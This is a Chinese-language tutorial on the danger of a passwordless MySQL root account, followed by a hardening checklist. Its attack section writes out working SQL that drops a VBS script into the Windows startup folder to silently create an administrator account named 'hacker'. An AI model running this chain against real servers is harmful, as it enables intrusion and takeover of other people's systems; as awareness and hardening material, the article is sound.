首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL root 空密碼安全風險實戰演示:從匿名登入到系統提權

     編輯:MySQL 資料庫相關知識

風險等級:嚴重

MySQL 預設安裝 root 無密碼,若直接對外暴露 3306 埠,攻擊者可無憑證登入、寫入檔案、植入啟動腳本奪取系統控制權。

攻擊鏈完整複現(僅供防禦研究)

  1. 匿名連線:mysql -u root -h 192.168.0.1(無 -p 參數)。
  2. 探測資料庫:SHOW DATABASES; 發現 mysql、test 等。
  3. 進入 test 庫建表:
    USE test;
    CREATE TABLE a (cmd TEXT);
  4. 寫入 VBS 惡意腳本(利用 SELECT ... INTO OUTFILE 落地):
    INSERT INTO a VALUES ('Set wsh = CreateObject("WScript.Shell")');
    INSERT INTO a VALUES ('wsh.Run "cmd.exe /c net user hacker Pass123 /add", 0');
    INSERT INTO a VALUES ('wsh.Run "cmd.exe /c net localgroup administrators hacker /add", 0');
  5. 輸出至啟動資料夾:
    SELECT * FROM a INTO OUTFILE "C:\\Documents and Settings\\All Users\\「開始」功能表\\程式集\\啟動\\a.vbs";
  6. 下次管理員登入 → 腳本自動執行 → 建立管理員帳號 hacker → 系統淪陷。

核心利用點

  • INTO OUTFILE 需 FILE 權限,root 預設擁有。
  • Windows 啟動資料夾寫入無需管理員權限(All Users 可寫)。
  • VBS 執行隱藏視窗(0 參數),無明顯痕跡。

防禦清單(必做)

  1. 安裝即設 root 密碼:mysqladmin -u root password 'StrongP@ssw0rd'
  2. 禁止遠程 root 登入:UPDATE mysql.user SET Host='localhost' WHERE User='root'; FLUSH PRIVILEGES;
  3. 綁定本地回環:bind-address = 127.0.0.1(my.cnf)。
  4. 移除匿名帳號:DROP USER ''@'%'; DROP USER ''@'localhost';
  5. 刪除 test 資料庫:DROP DATABASE test;
  6. 最小權限原則:應用使用專用帳號,僅授 SELECT/INSERT/UPDATE/DELETE 於特定庫。
  7. 防火牆封鎖 3306:僅允許應用伺服器 IP 存取。
  8. 啟用 SSL:加密傳輸防竊聽。
  9. 定期審計:SHOW GRANTS;、檢查 mysql.user 異常帳號。

修改 root 密碼速查

# 5.7.6+ (原生密碼驗證)
ALTER USER 'root'@'localhost' IDENTIFIED BY 'NewPass';

# 5.7.6 前 / 兼容模式
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('NewPass');
# 或
UPDATE mysql.user SET authentication_string=PASSWORD('NewPass') WHERE User='root'; FLUSH PRIVILEGES;
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved